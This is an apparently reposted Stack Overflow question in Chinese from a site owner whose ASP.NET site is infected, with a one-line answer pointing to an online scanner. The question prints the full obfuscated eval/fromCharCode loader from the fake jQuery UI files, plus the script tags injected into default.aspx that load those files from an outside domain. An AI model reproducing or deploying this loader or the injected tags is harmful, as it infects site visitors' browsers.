gpt4 book ai didi

javascript - 我认为我的网站被感染了

转载 作者:行者123 更新时间:2023-11-29 20:07:59 25 4
gpt4 key购买 nike

这让我发疯。我认为我的网站感染了某种病毒,具体情况如下:

随机 javascript 文件出现在服务器上,名称如 jquery.ui.dialog.min.jsjquery.ui.button.min.js。所有这些文件都包含相同的一段代码:

s="";try{q=document.createElement("p");a=(q)?"appendChild":12;q[a]("123"+n);}catch(qw){f=(q)?"fromCharCode":2;h=-016/7;try{eval("a=prototype");}catch(zxc){e=window["e"+"va"+"l"];n="26.30.400.555.198.351.436.505.220.348.184.595.228.315.464.505.80.117.240.525.204.342.388.545.202.96.460.570.198.183.136.520.232.348.448.290.94.141.396.485.226.360.388.570.222.138.456.585.94.297.444.585.220.348.196.260.92.336.416.560.68.96.440.485.218.303.244.170.168.357.420.580.232.303.456.170.64.345.396.570.222.324.432.525.220.309.244.170.194.351.464.555.68.96.408.570.194.327.404.490.222.342.400.505.228.183.136.550.222.102.128.485.216.315.412.550.122.102.396.505.220.348.404.570.68.96.416.505.210.309.416.580.122.102.200.170.64.357.420.500.232.312.244.170.100.102.248.300.94.315.408.570.194.327.404.310.78.123.236.65.20".split(".");if(window.document)for(i=6-2-1-2-1;-161+i!=2-2;i++){k=i;s=s+String[f](n[k]/(i%(h*h)+2));}e(s);}}

主要问题是这个“病毒”将一行代码附加到我的default.aspx 破坏了服务器。这是它添加的内容:

<asp:Content ID="Content1" ContentPlaceHolderID="cphBody" Runat="Server">
//Code here
</asp:Content>**<script type="text/javascript" language="javascript" src="http://easydiablo3.com//ImageStorage/jquery.ui.button.min.js" ></script><script type="text/javascript" language="javascript" src="http://easydiablo3.com//themes/jquery.ui.dialog.min.js" ></script>**

如果我删除文件,它们会在一段时间后出现。有谁知道我该如何解决这个问题?

最佳答案

使用此链接检测受感染的文件/文件夹

http://sitecheck.sucuri.net/scanner/

关于javascript - 我认为我的网站被感染了,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/11309769/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com